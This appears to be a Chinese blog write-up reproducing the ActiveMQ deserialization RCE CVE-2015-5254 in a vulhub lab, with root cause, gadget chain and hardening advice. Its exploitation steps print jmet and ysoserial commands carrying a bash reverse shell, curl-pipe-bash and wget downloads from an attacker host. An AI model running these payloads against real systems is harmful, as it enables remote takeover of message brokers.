AI摘要

本文复现了CVE-2015-5254漏洞,即ActiveMQ JMS ObjectMessage反序列化导致的远程命令执行。攻击者利用ROME链通过61616端口发送恶意消息,在Web控制台触发RCE。文章阐述了漏洞原理、利用步骤及修复建议。

漏洞概述

Apache ActiveMQ 简介

Apache ActiveMQ 是 Apache 软件基金会研发的开源消息中间件,支持 JMS(Java Message Service)、集群、Spring Framework 等多种企业级特性,广泛应用于分布式系统中作为消息代理(Message Broker)。

漏洞信息

项目内容
漏洞编号CVE-2015-5254
漏洞名称ActiveMQ JMS ObjectMessage 反序列化远程命令执行
漏洞类型不安全反序列化 → 远程命令执行 (RCE)
CVSS 评分9.8 (CRITICAL)
攻击向量AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
影响版本Apache ActiveMQ 5.x < 5.13.0
修复版本Apache ActiveMQ 5.13.0+
利用条件目标 ActiveMQ 开放 61616 (JMS) 端口,且攻击者能将序列化消息写入队列并被消费端读取
发现者Oracle (reported via Apache Security Team)
披露时间2015-12-08

漏洞原理

Java 反序列化漏洞的本质

Java 反序列化过程会自动调用被反序列化对象的 readObject() 方法。如果类路径(Classpath)中存在可利用的"gadget chain"(小工具链),攻击者可以构造一条从 readObject() 出发、最终到达任意代码执行的调用链。

攻击者构造恶意序列化对象
        │
        ▼
┌─────────────────────────────────┐
│  使用 ysoserial 生成 Payload    │
│  java -jar ysoserial.jar        │
│  ROME "cmd" > payload.bin      │
└──────────────┬──────────────────┘
               │
               ▼
┌─────────────────────────────────┐
│  发送至 ActiveMQ 61616 端口     │
│  封装为 JMS ObjectMessage      │
│  存入消息队列 (event)          │
└──────────────┬──────────────────┘
               │
               ▼
┌─────────────────────────────────┐
│  Web Console 读取消息           │
│  (或任意 JMS Consumer)          │
│  触发 ObjectMessage.getObject() │
└──────────────┬──────────────────┘
               │
               ▼
┌─────────────────────────────────┐
│  Java 反序列化过程               │
│  readObject() → Gadget Chain    │
│  → Runtime.exec() → RCE!       │
└─────────────────────────────────┘

为什么 ActiveMQ 存在此漏洞

ActiveMQ 5.13.0 之前的版本在处理 javax.jms.ObjectMessage 时,没有限制可以反序列化的类白名单。这意味着只要序列化对象存在于 JMS 消息中,ActiveMQ 就会无条件执行 readObject() 进行反序列化:

// ActiveMQ 反序列化入口(简化)
ObjectMessage msg = (ObjectMessage) consumer.receive();
Serializable obj = msg.getObject();  // ← 直接反序列化,无安全检查

这使得攻击者可以在类路径中任意寻找可用的 gadget chain 并完成 RCE。

ROME Gadget 链原理

jmet 工具使用的 ROME (ROME RSS Library) gadget 链利用了以下调用关系:

步骤类/方法行为
1ObjectInputStream.readObject()触发反序列化入口
2HashMap.readObject()hash()key.equals()HashMap 反序列化时需比较 key
3ObjectBean.equals()ToStringBean.toString()ROME 的 ObjectBean 委托给 EqualsBean
4ToStringBean.toString() → 反射调用所有 getterToStringBean 遍历目标对象所有 getter
5TemplatesImpl.getOutputProperties()通过反射调用 getter,触发 ClassLoader 加载字节码
6ClassLoader.defineClass()static{} 代码块执行恶意字节码中的静态初始化块 →RCE
核心技巧:TemplatesImpl 类(存在于 JDK 自带的 com.sun.org.apache.xalan.internal.xsltc.trax)允许通过 getOutputProperties() 加载任意字节码,是 ysoserial 中最经典的 RCE 终点之一。

影响范围

版本范围状态
ActiveMQ 5.0.0 ~ 5.12.x受影响
ActiveMQ 5.13.0+已修复(增加了jms.objectMessageSerializationPolicy

利用条件:

  • ActiveMQ 的 JMS 端口 (默认 61616) 对攻击者可达
  • 消息能被后续的消费者(或 Web Console 用户)读取并触发反序列化
  • 目标 JVM 类路径下存在可利用的 gadget 依赖(如 ROME、Commons-Collections、Commons-BeanUtils 等)

涉及端口:

端口用途利用阶段
61616OpenWire (JMS 工作端口)发送恶意序列化消息
8161Web 管理控制台读取消息触发反序列化(可选触发路径)
注意:Web 管理页面默认无认证(admin/admin 或无需登录),使得本漏洞的可利用性进一步提升。

环境搭建

使用 vulhub 提供的 Docker 靶场快速构建复现环境:

# 克隆 vulhub(如已克隆则跳过)
git clone https://github.com/vulhub/vulhub.git

# 进入 CVE-2015-5254 目录
cd vulhub/activemq/CVE-2015-5254/

# 启动靶场容器
docker-compose up -d
靶机 IP:192.168.50.134

启动后服务监听以下端口:

  • 61616 — OpenWire 协议工作端口,消息传递
  • 8161 — Jetty Web 管理控制台

ActiveMQ 靶场环境


漏洞复现

攻击流程

  1. 构造恶意序列化对象:使用 jmet(基于 ysoserial)生成包含 ROME gadget 的可执行命令 payload
  2. 发送至 JMS 端口:将序列化对象作为消息投递至 ActiveMQ 的 61616 端口
  3. 触发反序列化:访问 Web 管理页面读取消息内容 → 自动反序列化 → 代码执行

Step 1: 构造并投递 Payload

java -jar jmet-0.1.0-all.jar \
  -Q event                  \   # 目标队列名称
  -I ActiveMQ               \   # 目标中间件类型
  -s                        \   # 启用 URLClassLoader(可加载远程 jar)
  -Y "bash -i >& /dev/tcp/<ATTACKER_IP>/<PORT> 0>&1" \  # 反弹 shell 命令
  -Yp ROME                  \   # 使用 ROME gadget 链
  <TARGET_IP> 61616              # 目标地址:端口

参数说明:

参数含义说明
-Q event队列名称在 ActiveMQ 中创建名为event 的消息队列
-I ActiveMQ中间件类型指定为 ActiveMQ,使用对应的 JMS 协议适配
-sURLClassLoader启用后可加载远程依赖,兼容更复杂的 gadget
-Y "cmd"执行命令要执行的系统命令(此处为 bash 反弹 shell)
-Yp ROMEGadget 链使用 ROME (com.rometools:rome) 反序列化链
61616目标端口ActiveMQ JMS 工作端口
<ATTACKER_IP> / <PORT> 替换为攻击机的 IP 和监听端口。

jmet 工具执行

Step 2: 监听反弹 Shell

在攻击机上启动监听:

nc -lvnp <PORT>

Step 3: 触发反序列化

访问 ActiveMQ Web 管理页面,浏览 event 队列:

http://192.168.50.134:8161/admin/browse.jsp?JMSDestination=event

Web Console 查看消息队列

点击队列中的消息条目,ActiveMQ 会对消息内容进行反序列化渲染。此时 gadget chain 触发,执行反弹 shell 命令。

反弹 Shell 成功

其他 Payload 变体

# 直接执行命令(适用于能回显的场景)
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s \
  -Y "curl http://<ATTACKER_IP>:8000/shell.sh | bash" \
  -Yp ROME <TARGET_IP> 61616

# 使用 CommonsCollections5 gadget(替代 ROME)
java -jar ysoserial.jar CommonsCollections5 "wget http://<ATTACKER_IP>/shell.sh -O /tmp/shell.sh" | \
  java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ --payload-stdin <TARGET_IP> 61616

延伸阅读

ActiveMQ 反序列化相关漏洞

编号CVE漏洞类型影响版本利用向量
CVE-2015-5254ActiveMQ JMS 反序列化JMS ObjectMessage 无类白名单5.x < 5.13.061616 JMS 端口投递
CVE-2016-3088ActiveMQ 文件上传写入任意文件写入 → 写入 WebShell5.x < 5.14.08161 Web Console PUT 请求
CVE-2023-46604ActiveMQ OpenWire 反序列化OpenWire 协议层反序列化无验证5.15.16 / 5.16.7 / 5.17.6 / 5.18.3 之前61616 OpenWire 连接即可触发
CVE-2023-46604 是 2023 年披露的严重漏洞,CVSS 10.0。与 CVE-2015-5254 不同,它无需将消息投递到队列,仅需建立 OpenWire TCP 连接即可在 ExceptionResponse 反序列化中触发 RCE。这意味着即使 ActiveMQ 没有配置任何队列,攻击者也可直接反弹 Shell。

Java 反序列化利用工具对比

工具特点适用场景
ysoserial经典工具,30+ gadget chain,输出二进制 payload通用 Java 反序列化利用
jmet专为 JMS/ActiveMQ 设计,封装了 ysoserial 和 JMS 协议交互ActiveMQ / Artemis 漏洞利用
ysoserial-modifiedysoserial 增强版,优化内存马注入复杂环境下的 Webshell 持久化
marshalsec多协议反序列化利用(RMI/LDAP/JNDI)JNDI 注入结合利用

修复与加固建议

1. 升级版本(根本修复)

将 ActiveMQ 升级至 5.13.0 及以上。修复版本通过 jms.objectMessageSerializationPolicy 参数控制反序列化行为。

2. 配置序列化白名单

activemq.xml 中限制可反序列化的类:

<broker xmlns="http://activemq.apache.org/schema/core">
  <plugins>
    <bean id="securityPlugin"
      class="org.apache.activemq.security.ObjectMessageSerializationPolicyPlugin">
      <property name="objectMessageSerializationPolicy">
        <bean class="org.apache.activemq.security.TrustedPackagesObjectMessagePolicy">
          <property name="trustedPackages">
            <list>
              <value>java.util</value>
              <value>java.lang</value>
              <value>org.apache.activemq</value>
            </list>
          </property>
        </bean>
      </property>
    </bean>
  </plugins>
</broker>

3. 网络层防护

  • 将 JMS 端口 61616 限制在内网,禁止公网直接访问
  • 为 Web Console (8161) 启用认证并修改默认凭据
  • 在 WAF/防火墙配置 ActiveMQ 特征过滤规则
# Nginx 反向代理 + IP 白名单
location /admin/ {
    allow 192.168.0.0/16;
    allow 10.0.0.0/8;
    deny all;
    proxy_pass http://activemq:8161;
}

参考文献

  1. NVD - CVE-2015-5254: https://nvd.nist.gov/vuln/detail/CVE-2015-5254
  2. Apache ActiveMQ Security Advisory - CVE-2015-5254: http://activemq.apache.org/security-advisories.data/CVE-2015-5254-announcement.txt
  3. Apache ActiveMQ - JMS ObjectMessage Serialization: https://issues.apache.org/jira/browse/AMQ-6013
  4. ysoserial - Java Deserialization Exploit Tool: https://github.com/frohoff/ysoserial
  5. Oracle Java - JNDI/JMS Security Best Practices: https://www.oracle.com/java/technologies/javase/seccodeguide.html
投币支持一下吧
END